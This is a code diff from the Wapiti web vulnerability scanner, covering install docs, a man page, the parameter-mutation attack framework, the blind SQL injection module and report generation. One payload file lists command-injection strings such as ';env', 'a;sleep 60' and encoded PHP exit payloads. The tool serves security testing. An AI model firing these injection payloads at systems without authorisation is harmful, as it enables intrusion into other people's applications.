[FILE_NOEXT].7zip
backup.tgz
backup.zip
backup.7zip
backup.tar.gz
backup.tar.bz2
backup.sql

View File

@ -0,0 +1,52 @@
Introduction
============
All installation methods assume you already have a Python 3.4 or more recent on your system.
Note that if you have all the requirements pre-installed on your system, it is not necessary to use the setup.py script
to use Wapiti : just extract the archive and launch the "wapiti" command line in the "bin" folder :
`./bin/wapiti` or `python bin/wapiti`.
You may want to install Wapiti to the system just to make access easier.
If you haven't sufficient privileges are you are afraid of beaking some dependencies in your python packages then
using a virtual environment is the way to go. Just refer to the related section.
Otherwise you will have to launch setup.py as a privileged user.
Enjoy Wapiti.
Installing Wapiti using a virtual environment
=============================================
Let's create a virtual environment called 'wapiti3'.
In this example it will be created in the current working directory.
`python -m venv wapiti3`
Now let's activate it (make it our current working environnement) :
`. ./wapiti3/bin/activate`
Or alternatively on Windows :
`wapiti3\Scripts\activate.bat`
Now you are in the virtual environment you can install Wapiti and its dependencies :
`python3 setup.py install`
To leave the virtual environnement just call the following command :
`deactivate`
Remember that you will need to reactivate the environment each time you want to use Wapiti.
Installing Wapiti without virtual environment
=============================================
You can install wapiti the regular way :
`python setup.py install`

View File

@ -0,0 +1,46 @@
wapiti-getcookie(1) -- A Wapiti utility to fetch cookies from a webpage and store them in the Wapiti JSON format.
=================================================================================================================
## SYNOPSIS
`wapiti` -u <URL> -c <COOKIE> [options]
## DESCRIPTION
wapiti-getcookie is a user-friendly interractive console utility that can be used to fill a web-form or fetch an URL
and extract the cookies sent by the remote server.
Cookie informations are stored in the JSON cookie file you have to specify with the -c option.
Those cookies can be loaded by Wapiti using the same -c option.
## OPTIONS
* `-p`, `--proxy` <PROXY_URL>
The given URL will be used as a proxy for HTTP and HTTPS requests.
This URL can have one of the following scheme : http, https, socks.
To make Wapiti use a Tor listener you can use --proxy socks://127.0.0.1:9050/
* `-d`, `--data` <DATA>
wapiti-getcookie will parse forms and ask your input for each field found.
But you can also pass every parameter and value as a string directly through this option.
Example: -d 'login=admin&password=letmein&submit=Login'
## LICENSE
Wapiti is covered by the GNU General Public License (GPL), version 2.
Please read the COPYING file for more information.
## COPYRIGHT
Copyright (c) 2006-2018 Nicolas Surribas.
## AUTHORS
Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file.
## WWW
http://wapiti.sourceforge.net/
## BUG REPORTS
If you find a bug in Wapiti please report it to https://sourceforge.net/p/wapiti/bugs/

View File

@ -0,0 +1,139 @@
<!DOCTYPE html>
<html>
<head>
<meta http-equiv='content-type' value='text/html;charset=utf8'>
<meta name='generator' value='Ronn/v0.7.3 (http://github.com/rtomayko/ronn/tree/0.7.3)'>
<title>wapiti-getcookie(1) - A Wapiti utility to fetch cookies from a webpage and store them in the Wapiti JSON format.</title>
<style type='text/css' media='all'>
/* style: man */
body#manpage {margin:0}
.mp {max-width:100ex;padding:0 9ex 1ex 4ex}
.mp p,.mp pre,.mp ul,.mp ol,.mp dl {margin:0 0 20px 0}
.mp h2 {margin:10px 0 0 0}
.mp > p,.mp > pre,.mp > ul,.mp > ol,.mp > dl {margin-left:8ex}
.mp h3 {margin:0 0 0 4ex}
.mp dt {margin:0;clear:left}
.mp dt.flush {float:left;width:8ex}
.mp dd {margin:0 0 0 9ex}
.mp h1,.mp h2,.mp h3,.mp h4 {clear:left}
.mp pre {margin-bottom:20px}
.mp pre+h2,.mp pre+h3 {margin-top:22px}
.mp h2+pre,.mp h3+pre {margin-top:5px}
.mp img {display:block;margin:auto}
.mp h1.man-title {display:none}
.mp,.mp code,.mp pre,.mp tt,.mp kbd,.mp samp,.mp h3,.mp h4 {font-family:monospace;font-size:14px;line-height:1.42857142857143}
.mp h2 {font-size:16px;line-height:1.25}
.mp h1 {font-size:20px;line-height:2}
.mp {text-align:justify;background:#fff}
.mp,.mp code,.mp pre,.mp pre code,.mp tt,.mp kbd,.mp samp {color:#131211}
.mp h1,.mp h2,.mp h3,.mp h4 {color:#030201}
.mp u {text-decoration:underline}
.mp code,.mp strong,.mp b {font-weight:bold;color:#131211}
.mp em,.mp var {font-style:italic;color:#232221;text-decoration:none}
.mp a,.mp a:link,.mp a:hover,.mp a code,.mp a pre,.mp a tt,.mp a kbd,.mp a samp {color:#0000ff}
.mp b.man-ref {font-weight:normal;color:#434241}
.mp pre {padding:0 4ex}
.mp pre code {font-weight:normal;color:#434241}
.mp h2+pre,h3+pre {padding-left:0}
ol.man-decor,ol.man-decor li {margin:3px 0 10px 0;padding:0;float:left;width:33%;list-style-type:none;text-transform:uppercase;color:#999;letter-spacing:1px}
ol.man-decor {width:100%}
ol.man-decor li.tl {text-align:left}
ol.man-decor li.tc {text-align:center;letter-spacing:4px}
ol.man-decor li.tr {text-align:right;float:right}
</style>
<style type='text/css' media='all'>
/* style: toc */
.man-navigation {display:block !important;position:fixed;top:0;left:113ex;height:100%;width:100%;padding:48px 0 0 0;border-left:1px solid #dbdbdb;background:#eee}
.man-navigation a,.man-navigation a:hover,.man-navigation a:link,.man-navigation a:visited {display:block;margin:0;padding:5px 2px 5px 30px;color:#999;text-decoration:none}
.man-navigation a:hover {color:#111;text-decoration:underline}
</style>
</head>
<!--
The following styles are deprecated and will be removed at some point:
div#man, div#man ol.man, div#man ol.head, div#man ol.man.
The .man-page, .man-decor, .man-head, .man-foot, .man-title, and
.man-navigation should be used instead.
-->
<body id='manpage'>
<div class='mp' id='man'>
<div class='man-navigation' style='display:none'>
<a href="#NAME">NAME</a>
<a href="#SYNOPSIS">SYNOPSIS</a>
<a href="#DESCRIPTION">DESCRIPTION</a>
<a href="#OPTIONS">OPTIONS</a>
<a href="#LICENSE">LICENSE</a>
<a href="#COPYRIGHT">COPYRIGHT</a>
<a href="#AUTHORS">AUTHORS</a>
<a href="#WWW">WWW</a>
<a href="#BUG-REPORTS">BUG REPORTS</a>
</div>
<ol class='man-decor man-head man head'>
<li class='tl'>wapiti-getcookie(1)</li>
<li class='tc'></li>
<li class='tr'>wapiti-getcookie(1)</li>
</ol>
<h2 id="NAME">NAME</h2>
<p class="man-name">
<code>wapiti-getcookie</code> - <span class="man-whatis">A Wapiti utility to fetch cookies from a webpage and store them in the Wapiti JSON format.</span>
</p>
<h2 id="SYNOPSIS">SYNOPSIS</h2>
<p><code>wapiti</code> -u <var>URL</var> -c <var>COOKIE</var> <a href="#OPTIONS" title="OPTIONS" data-bare-link="true">options</a></p>
<h2 id="DESCRIPTION">DESCRIPTION</h2>
<p>wapiti-getcookie is a user-friendly interractive console utility that can be used to fill a web-form or fetch an URL
and extract the cookies sent by the remote server.<br />
Cookie informations are stored in the JSON cookie file you have to specify with the -c option.<br />
Those cookies can be loaded by Wapiti using the same -c option.</p>
<h2 id="OPTIONS">OPTIONS</h2>
<ul>
<li><p><code>-p</code>, <code>--proxy</code> <var>PROXY_URL</var><br />
The given URL will be used as a proxy for HTTP and HTTPS requests.<br />
This URL can have one of the following scheme : http, https, socks.<br />
To make Wapiti use a Tor listener you can use --proxy socks://127.0.0.1:9050/</p></li>
<li><p><code>-d</code>, <code>--data</code> <var>DATA</var><br />
wapiti-getcookie will parse forms and ask your input for each field found.<br />
But you can also pass every parameter and value as a string directly through this option.<br />
Example: -d 'login=admin&amp;password=letmein&amp;submit=Login'</p></li>
</ul>
<h2 id="LICENSE">LICENSE</h2>
<p>Wapiti is covered by the GNU General Public License (GPL), version 2.
Please read the COPYING file for more information.</p>
<h2 id="COPYRIGHT">COPYRIGHT</h2>
<p>Copyright (c) 2006-2018 Nicolas Surribas.</p>
<h2 id="AUTHORS">AUTHORS</h2>
<p>Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file.</p>
<h2 id="WWW">WWW</h2>
<p>http://wapiti.sourceforge.net/</p>
<h2 id="BUG-REPORTS">BUG REPORTS</h2>
<p>If you find a bug in Wapiti please report it to https://sourceforge.net/p/wapiti/bugs/</p>
<ol class='man-decor man-foot man foot'>
<li class='tl'></li>
<li class='tc'>January 2018</li>
<li class='tr'>wapiti-getcookie(1)</li>
</ol>
</div>
</body>
</html>

View File

@ -0,0 +1,431 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import sys
from os.path import splitext, join as path_join
from urllib.parse import quote
from collections import defaultdict
from enum import Enum
from math import ceil
import random
from types import GeneratorType, FunctionType
from wapitiCore.net.web import Request
modules = [
"mod_crlf",
"mod_exec",
"mod_file",
"mod_sql",
"mod_xss",
"mod_backup",
"mod_htaccess",
"mod_blindsql",
"mod_permanentxss",
"mod_nikto",
"mod_delay",
"mod_buster",
"mod_shellshock",
"mod_methods",
"mod_ssrf"
]
commons = ["blindsql", "exec", "file", "permanentxss", "sql", "xss", "ssrf"]
class PayloadType(Enum):
pattern = 1
time = 2
get = 3
post = 4
file = 5
COMMON_ANNOYING_PARAMETERS = (
"__VIEWSTATE",
"__VIEWSTATEENCRYPTED",
"__VIEWSTATEGENERATOR",
"__EVENTARGUMENT",
"__EVENTTARGET",
"__EVENTVALIDATION",
"ASPSESSIONID",
"ASP.NET_SESSIONID",
"JSESSIONID",
"CFID",
"CFTOKEN"
)
class Attack:
"""This class represents an attack, it must be extended for any class which implements a new type of attack"""
name = "attack"
do_get = True
do_post = True
# List of modules (strings) that must be launched before the current module
# Must be defined in the code of the module
require = []
BASE_DIR = os.path.dirname(sys.modules["wapitiCore"].__file__)
CONFIG_DIR = os.path.join(BASE_DIR, "config", "attacks")
PAYLOADS_FILE = None
# Color codes
STD = "\033[0;0m"
RED = "\033[0;31m"
GREEN = "\033[0;32m"
ORANGE = "\033[0;33m"
YELLOW = "\033[1;33m"
BLUE = "\033[1;34m"
MAGENTA = "\033[0;35m"
CYAN = "\033[0;36m"
GB = "\033[0;30m\033[47m"
allowed = [
'php', 'html', 'htm', 'xml', 'xhtml', 'xht', 'xhtm',
'asp', 'aspx', 'php3', 'php4', 'php5', 'txt', 'shtm',
'shtml', 'phtm', 'phtml', 'jhtml', 'pl', 'jsp', 'cfm',
'cfml', 'py'
]
# The priority of the module, from 0 (first) to 10 (last). Default is 5
PRIORITY = 5
def __init__(self, crawler, persister, logger, attack_options):
super().__init__()
self.crawler = crawler
self.persister = persister
self.add_vuln = persister.add_vulnerability
self.add_anom = persister.add_anomaly
self.payload_reader = PayloadReader(timeout=attack_options["timeout"])
self.options = attack_options
# List of attack urls already launched in the current module
self.attacked_get = []
self.attacked_post = []
self.vulnerable_get = []
self.vulnerable_post = []
self.verbose = 0
self.color = 0
# List of modules (objects) that must be launched before the current module
# Must be left empty in the code
self.deps = []
self._logger = logger
self.log = self._logger.log
self.log_blue = self._logger.log_blue
self.log_cyan = self._logger.log_cyan
self.log_green = self._logger.log_green
self.log_magenta = self._logger.log_magenta
self.log_orange = self._logger.log_orange
self.log_red = self._logger.log_red
self.log_white = self._logger.log_white
self.log_yellow = self._logger.log_yellow
def set_verbose(self, verbose):
self.verbose = verbose
def set_color(self):
self.color = 1
@property
def payloads(self):
"""Load the payloads from the specified file"""
if self.PAYLOADS_FILE:
return self.payload_reader.read_payloads(path_join(self.CONFIG_DIR, self.PAYLOADS_FILE))
return []
def load_require(self, dependancies: list = None):
self.deps = dependancies
@property
def attack_level(self):
return self.options["level"]
@property
def must_attack_query_string(self):
return self.attack_level == 2
def attack(self):
raise NotImplementedError("Override me bro")
def get_mutator(self):
methods = ""
if self.do_get:
methods += "G"
if self.do_post:
methods += "PF"
return Mutator(
methods=methods,
payloads=self.payloads,
qs_inject=self.must_attack_query_string,
skip=self.options.get("skipped_parameters")
)
class Mutator:
def __init__(
self, methods="FGP", payloads=None, qs_inject=False, max_queries_per_pattern: int = 1000,
parameters=None, # Restrict attack to a whitelist of parameters
skip=None # Must not attack those parameters (blacklist)
):
self._mutate_get = "G" in methods.upper()
self._mutate_file = "F" in methods.upper()
self._mutate_post = "P" in methods.upper()
self._payloads = payloads
self._qs_inject = qs_inject
self._attacks_per_url_pattern = defaultdict(int)
self._max_queries_per_pattern = max_queries_per_pattern
self._parameters = parameters if isinstance(parameters, list) else []
self._skip_list = skip if isinstance(skip, set) else set()
self._attack_hashes = set()
self._skip_list.update(COMMON_ANNOYING_PARAMETERS)
def iter_payloads(self):
# raise tuples of (payloads, flags)
if isinstance(self._payloads, tuple):
yield self._payloads
elif isinstance(self._payloads, list) or isinstance(self._payloads, GeneratorType):
yield from self._payloads
elif isinstance(self._payloads, FunctionType):
result = self._payloads()
if isinstance(result, GeneratorType):
yield from result
else:
yield result
def estimate_requests_count(self, request: Request):
estimation = len(request) if isinstance(self._payloads, tuple) else len(request) * len(self._payloads)
if self._qs_inject and request.method == "GET" and len(request) == 0:
# Injection directly in query string is made only on GET requests with no parameters in URL
estimation += len(self._payloads)
return estimation
def mutate(self, request: Request):
get_params = request.get_params
post_params = request.post_params
file_params = request.file_params
referer = request.referer
# estimation = self.estimate_requests_count(request)
#
# if self._attacks_per_url_pattern[request.hash_params] + estimation > self._max_queries_per_pattern:
# # Otherwise (pattern already attacked), make sure we don't exceed maximum allowed
# return
#
# self._attacks_per_url_pattern[request.hash_params] += estimation
for params_list in [get_params, post_params, file_params]:
for i in range(len(params_list)):
param_name = quote(params_list[i][0])
if self._skip_list and param_name in self._skip_list:
continue
if self._parameters and param_name not in self._parameters:
continue
saved_value = params_list[i][1]
if saved_value is None:
saved_value = ""
if params_list is file_params:
params_list[i][1] = ["__PAYLOAD__", params_list[i][1][1]]
else:
params_list[i][1] = "__PAYLOAD__"
attack_pattern = Request(
request.path,
method=request.method,
get_params=get_params,
post_params=post_params,
file_params=file_params
)
if hash(attack_pattern) not in self._attack_hashes:
self._attack_hashes.add(hash(attack_pattern))
for payload, original_flags in self.iter_payloads():
# no quoting: send() will do it for us
payload = payload.replace("[FILE_NAME]", request.file_name)
payload = payload.replace("[FILE_NOEXT]", splitext(request.file_name)[0])
# Flags from iter_payloads should be considered as mutable (even if it's ot the case)
# so let's copy them just to be sure we don't mess with them.
flags = set(original_flags)
if params_list is file_params:
payload = payload.replace("[VALUE]", saved_value[0])
payload = payload.replace("[DIRVALUE]", saved_value[0].rsplit('/', 1)[0])
params_list[i][1][0] = payload
flags.add(PayloadType.file)
else:
payload = payload.replace("[VALUE]", saved_value)
payload = payload.replace("[DIRVALUE]", saved_value.rsplit('/', 1)[0])
params_list[i][1] = payload
if params_list is get_params:
flags.add(PayloadType.get)
else:
flags.add(PayloadType.post)
evil_req = Request(
request.path,
method=request.method,
get_params=get_params,
post_params=post_params,
file_params=file_params,
referer=referer,
link_depth=request.link_depth
)
yield evil_req, param_name, payload, flags
params_list[i][1] = saved_value
if not get_params and request.method == "GET" and self._qs_inject:
attack_pattern = Request(
"{}?__PAYLOAD__".format(request.path),
method=request.method,
referer=referer,
link_depth=request.link_depth
)
if hash(attack_pattern) not in self._attack_hashes:
self._attack_hashes.add(hash(attack_pattern))
for payload, original_flags in self.iter_payloads():
# Ignore payloads reusing existing parameter values
if "[VALUE]" in payload:
continue
if "[DIRVALUE]" in payload:
continue
payload = payload.replace("[FILE_NAME]", request.file_name)
payload = payload.replace("[FILE_NOEXT]", splitext(request.file_name)[0])
flags = set(original_flags)
evil_req = Request(
"{}?{}".format(request.path, quote(payload)),
method=request.method,
referer=referer,
link_depth=request.link_depth
)
flags.add(PayloadType.get)
yield evil_req, "QUERY_STRING", flags
class PayloadReader:
"""Class for reading and writing in text files"""
def __init__(self, timeout=20):
self._timeout = timeout
def read_payloads(self, filename):
"""returns a array"""
lines = []
try:
# Reminder : don't try to read payload files as UTF-8, must give str type
with open(filename) as f:
for line in f:
flags = set()
clean_line = line.strip(" \n")
clean_line = clean_line.replace("[TAB]", "\t")
clean_line = clean_line.replace("[LF]", "\n")
clean_line = clean_line.replace("[TIME]", str(int(ceil(self._timeout)) + 1))
payload_type = PayloadType.pattern
if "[TIMEOUT]" in clean_line:
payload_type = PayloadType.time
clean_line = clean_line.replace("[TIMEOUT]", "")
flags.add(payload_type)
if clean_line != "":
lines.append((clean_line.replace("\\0", "\0"), flags))
except IOError as exception:
print(exception)
return lines
if __name__ == "__main__":
mutator = Mutator(payloads=[("INJECT", set()), ("ATTACK", set())], qs_inject=True, max_queries_per_pattern=16)
res1 = Request(
"http://httpbin.org/post?var1=a&var2=b",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res2 = Request(
"http://httpbin.org/post?var1=a&var2=z",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res3 = Request(
"http://httpbin.org/get?login=admin&password=letmein",
)
assert res1.hash_params == res2.hash_params
for evil_request, param_name, payload, flags in mutator.mutate(res1):
print(evil_request)
print(flags)
print('')
print("#"*50)
print('')
for evil_request, param_name, payload, flags in mutator.mutate(res2):
print(evil_request)
print('')
print("#"*50)
print('')
def iterator():
yield ("abc", set())
yield ("def", set())
mutator = Mutator(payloads=iterator, qs_inject=True, max_queries_per_pattern=16)
for evil_request, param_name, payload, flags in mutator.mutate(res3):
print(evil_request)
print('')
print("#"*50)
print('')
def random_string():
"""Create a random unique ID that will be used to test injection."""
# doesn't uppercase letters as BeautifulSoup make some data lowercase
return "w" + "".join([random.choice("0123456789abcdefghjijklmnopqrstuvwxyz") for __ in range(0, 9)]), set()
mutator = Mutator(payloads=random_string, qs_inject=True, max_queries_per_pattern=16)
for evil_request, param_name, payload, flags in mutator.mutate(res3):
print(evil_request)
print("Payload is", payload)
mutator = Mutator(methods="G", payloads=[("INJECT", set()), ("ATTACK", set())], qs_inject=True, parameters=["var1"])
assert len(list(mutator.mutate(res1))) == 2

View File

@ -0,0 +1,134 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from itertools import chain
from wapitiCore.attack.attack import Attack
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
from requests.exceptions import ReadTimeout, RequestException
class mod_blindsql(Attack):
"""
This class implements an SQL Injection attack
"""
PAYLOADS_FILE = "blindSQLPayloads.txt"
blind_sql_payloads = []
TIME_TO_SLEEP = 6
name = "blindsql"
require = ["sql"]
PRIORITY = 6
MSG_VULN = _("Blind SQL vulnerability")
def __init__(self, crawler, persister, logger, attack_options):
Attack.__init__(self, crawler, persister, logger, attack_options)
self.blind_sql_payloads = self.payloads
self.excluded_get = []
self.excluded_post = []
def set_timeout(self, timeout):
self.TIME_TO_SLEEP = str(1 + int(timeout))
def attack(self):
mutator = self.get_mutator()
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
for original_request in chain(http_resources, forms):
page = original_request.path
saw_internal_error = False
if self.verbose >= 1:
print("[+] {}".format(original_request))
for mutated_request, parameter, payload, flags in mutator.mutate(original_request):
try:
if self.verbose == 2:
print("[¨] {0}".format(mutated_request))
try:
response = self.crawler.send(mutated_request)
except ReadTimeout:
if parameter == "QUERY_STRING":
vuln_message = Vulnerability.MSG_QS_INJECT.format(self.MSG_VULN, page)
log_message = Vulnerability.MSG_QS_INJECT
else:
vuln_message = _("{0} via injection in the parameter {1}").format(self.MSG_VULN, parameter)
log_message = Vulnerability.MSG_PARAM_INJECT
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.BLIND_SQL_INJECTION,
level=Vulnerability.HIGH_LEVEL,
request=mutated_request,
info=vuln_message,
parameter=parameter
)
self.log_red("---")
self.log_red(
log_message,
self.MSG_VULN,
page,
parameter
)
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
self.log_red(mutated_request.http_repr())
self.log_red("---")
# We reached maximum exploitation, stop here
break
else:
if response.status == 500 and not saw_internal_error:
saw_internal_error = True
if parameter == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_500
else:
anom_msg = Anomaly.MSG_PARAM_500.format(parameter)
self.add_anom(
request_id=original_request.path_id,
category=Anomaly.ERROR_500,
level=Anomaly.HIGH_LEVEL,
request=mutated_request,
info=anom_msg,
parameter=parameter
)
self.log_orange("---")
self.log_orange(Anomaly.MSG_500, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(mutated_request.http_repr())
self.log_orange("---")
except (KeyboardInterrupt, RequestException) as exception:
yield exception
yield original_request
# TODO: should blindsql module ignore vulnerabilities that have previously been detected by the sql module ?
def load_require(self, dependancies: list = None):
if dependancies:
for module in dependancies:
if module.name == "sql":
self.excluded_get = module.vulnerable_get
self.excluded_post = module.vulnerable_post

View File

@ -0,0 +1,23 @@
;env
a;env
a);env
[VALUE];env
[VALUE][LF]env
/e\0
a;exit(base64_decode('dzRwMXQxX2V2YWw='));//
a;exit(base64_decode('dzRwMXQxX2V2YWw='));#
";exit(base64_decode('dzRwMXQxX2V2YWw='));//
";exit(base64_decode('dzRwMXQxX2V2YWw='));#
';exit(base64_decode('dzRwMXQxX2V2YWw='));//
';exit(base64_decode('dzRwMXQxX2V2YWw='));#
".exit(base64_decode('dzRwMXQxX2V2YWw='));//
".exit(base64_decode('dzRwMXQxX2V2YWw='));#
'.exit(base64_decode('dzRwMXQxX2V2YWw='));//
'.exit(base64_decode('dzRwMXQxX2V2YWw='));#
exit(base64_decode('dzRwMXQxX2V2YWw='));//
exit(base64_decode('dzRwMXQxX2V2YWw='));#
data:;base64,PD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA/Pg==
a`)`
a`sleep 60`[TIMEOUT]
a;sleep 60;[TIMEOUT]
a|sleep 60;[TIMEOUT]

Binary file not shown.

After

Width:  |  Height:  |  Size: 345 KiB

View File

@ -0,0 +1,207 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# Original authors :
# David del Pozo
# Alberto Pastor
# Copyright (C) 2008 Informatica Gesfor
# ICT Romulus (http://www.ict-romulus.eu)
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from xml.dom.minidom import Document
import datetime
from wapitiCore.report.reportgenerator import ReportGenerator
def is_peer_tuple(p):
"""Is p a (str,int) tuple? I.E. an (ip_address,port)"""
if type(p) == tuple and len(p) == 2:
return type(p[0]) == str and type(p[1]) == int
else:
return False
class VulneraNetXMLReportGenerator(ReportGenerator):
"""
This class generates a report with the method printToFile(fileName) which contains
the information of all the vulnerabilities notified to this object through the
method add_vulnerability(category,level,url,parameter,info).
The format of the file is XML and it has the following structure:
<report type="security">
<generatedBy id="Wapiti 3.0.1"/>
<bugTypeList>
<bugType name="SQL Injection">
<bugList/>
<report>
<vulnerabilityTypeList>
<vulnerabilityType name="SQL Injection">
<vulnerabilityList>
<vulnerability level="3">
<url>http://www.a.com</url>
<parameters>id=23</parameters>
<info>SQL Injection</info>
</vulnerability>
</vulnerabilityList>
</vulnerabilityType>
</vulnerabilityTypeList>
</report>
"""
def __init__(self):
super().__init__()
self._timestamp = datetime.datetime.now()
self._xml_doc = Document()
self._vulnerability_type_list = None
def set_report_info(self, target, scope, date, version):
super().set_report_info(target, scope, date, version)
report = self._xml_doc.createElement("Report")
report.setAttribute("generatedBy", version)
report.setAttribute("generationDate", self._timestamp.isoformat())
self._vulnerability_type_list = self._xml_doc.createElement("VulnerabilityTypeList")
report.appendChild(self._vulnerability_type_list)
self._xml_doc.appendChild(report)
def _add_to_vulnerability_type_list(self, vulnerability_type):
self._vulnerability_type_list.appendChild(vulnerability_type)
def add_vulnerability_type(self, name, description="", solution="", references=None):
"""
This method adds a vulnerability type, it can be invoked to include in the
report the type.
The types are not stored previously, they are added when the method
add_vulnerability(category,level,url,parameter,info) is invoked
and if there is no vulnerability of a type, this type will not be presented
in the report
"""
vulnerability_type = self._xml_doc.createElement("VulnerabilityType")
vulnerability_type.appendChild(self._xml_doc.createElement("VulnerabilityList"))
vuln_title_node = self._xml_doc.createElement("Title")
vuln_title_node.appendChild(self._xml_doc.createTextNode(name))
vulnerability_type.appendChild(vuln_title_node)
self._add_to_vulnerability_type_list(vulnerability_type)
if description != "":
description_node = self._xml_doc.createElement("Description")
description_node.appendChild(self._xml_doc.createCDATASection(description))
vulnerability_type.appendChild(description_node)
if solution != "":
solution_node = self._xml_doc.createElement("Solution")
solution_node.appendChild(self._xml_doc.createCDATASection(solution))
vulnerability_type.appendChild(solution_node)
if references != "":
references_node = self._xml_doc.createElement("References")
for ref in references:
reference_node = self._xml_doc.createElement("Reference")
name_node = self._xml_doc.createElement("name")
url_node = self._xml_doc.createElement("url")
name_node.appendChild(self._xml_doc.createTextNode(ref))
url_node.appendChild(self._xml_doc.createTextNode(references[ref]))
reference_node.appendChild(name_node)
reference_node.appendChild(url_node)
references_node.appendChild(reference_node)
vulnerability_type.appendChild(references_node)
return vulnerability_type
def _add_to_vulnerability_list(self, category, vulnerability):
vulnerability_type = None
for node in self._vulnerability_type_list.childNodes:
title_node = node.getElementsByTagName("Title")
if (title_node.length >= 1 and
title_node[0].childNodes.length == 1 and
title_node[0].childNodes[0].wholeText == category):
vulnerability_type = node
break
if vulnerability_type is None:
vulnerability_type = self.add_vulnerability_type(category)
vulnerability_type.childNodes[0].appendChild(vulnerability)
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
"""
Store the information about the vulnerability to be printed later.
The method printToFile(fileName) can be used to save in a file the
vulnerabilities notified through the current method.
"""
peer = None
vulnerability = self._xml_doc.createElement("Vulnerability")
if level == 1:
st_level = "Low"
elif level == 2:
st_level = "Moderate"
else:
st_level = "Important"
level_node = self._xml_doc.createElement("Severity")
level_node.appendChild(self._xml_doc.createTextNode(st_level))
vulnerability.appendChild(level_node)
ts_node = self._xml_doc.createElement("DetectionDate")
# tsNode.appendChild(self.__xmlDoc.createTextNode(ts.isoformat()))
vulnerability.appendChild(ts_node)
##
url_detail_node = self._xml_doc.createElement("URLDetail")
vulnerability.appendChild(url_detail_node)
url_node = self._xml_doc.createElement("URL")
url_node.appendChild(self._xml_doc.createTextNode(request.url))
url_detail_node.appendChild(url_node)
if peer is not None:
peer_node = self._xml_doc.createElement("Peer")
if is_peer_tuple(peer):
addr_node = self._xml_doc.createElement("Addr")
addr_node.appendChild(self._xml_doc.createTextNode(peer[0]))
peer_node.appendChild(addr_node)
port_node = self._xml_doc.createElement("Port")
port_node.appendChild(self._xml_doc.createTextNode(str(peer[1])))
peer_node.appendChild(port_node)
else:
addr_node = self._xml_doc.createElement("Addr")
addr_node.appendChild(self._xml_doc.createTextNode(str(peer)))
peer_node.appendChild(addr_node)
url_detail_node.appendChild(peer_node)
parameter_node = self._xml_doc.createElement("Parameter")
parameter_node.appendChild(self._xml_doc.createTextNode(parameter))
url_detail_node.appendChild(parameter_node)
##
info_node = self._xml_doc.createElement("Info")
info = info.replace("\n", "<br />")
info_node.appendChild(self._xml_doc.createTextNode(info))
url_detail_node.appendChild(info_node)
self._add_to_vulnerability_list(category, vulnerability)
def generate_report(self, output_path):
"""
Create a xml file with a report of the vulnerabilities which have been logged with
the method add_vulnerability(category,level,url,parameter,info)
"""
with open(output_path, "w") as fd:
self._xml_doc.writexml(fd, addindent=" ", newl="\n")

View File

@ -0,0 +1,163 @@
<?xml version="1.0" encoding="UTF-8"?>
<vulnerabilities>
<vulnerability name="SQL Injection">
<description>SQL Injection description</description>
<solution text="SQL Injection solution"/>
<references>
<reference>
<title>http://www.owasp.org/index.php/SQL_Injection</title>
<url>http://www.owasp.org/index.php/SQL_Injection</url>
</reference>
<reference>
<title>http://en.wikipedia.org/wiki/SQL_injection</title>
<url>http://en.wikipedia.org/wiki/SQL_injection</url>
</reference>
<reference>
<title><![CDATA[CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')]]></title>
<url>http://cwe.mitre.org/data/definitions/89.html</url>
</reference>
</references>
</vulnerability>
<vulnerability name="Blind SQL Injection">
<description>Blind SQL Injection description</description>
<solution text="Blind SQL Injection solution" />
<references>
<reference>
<title>http://www.owasp.org/index.php/Blind_SQL_Injection</title>
<url>http://www.owasp.org/index.php/Blind_SQL_Injection</url>
</reference>
<reference>
<title>http://www.imperva.com/resources/adc/blind_sql_server_injection.html</title>
<url>http://www.imperva.com/resources/adc/blind_sql_server_injection.html</url>
</reference>
<reference>
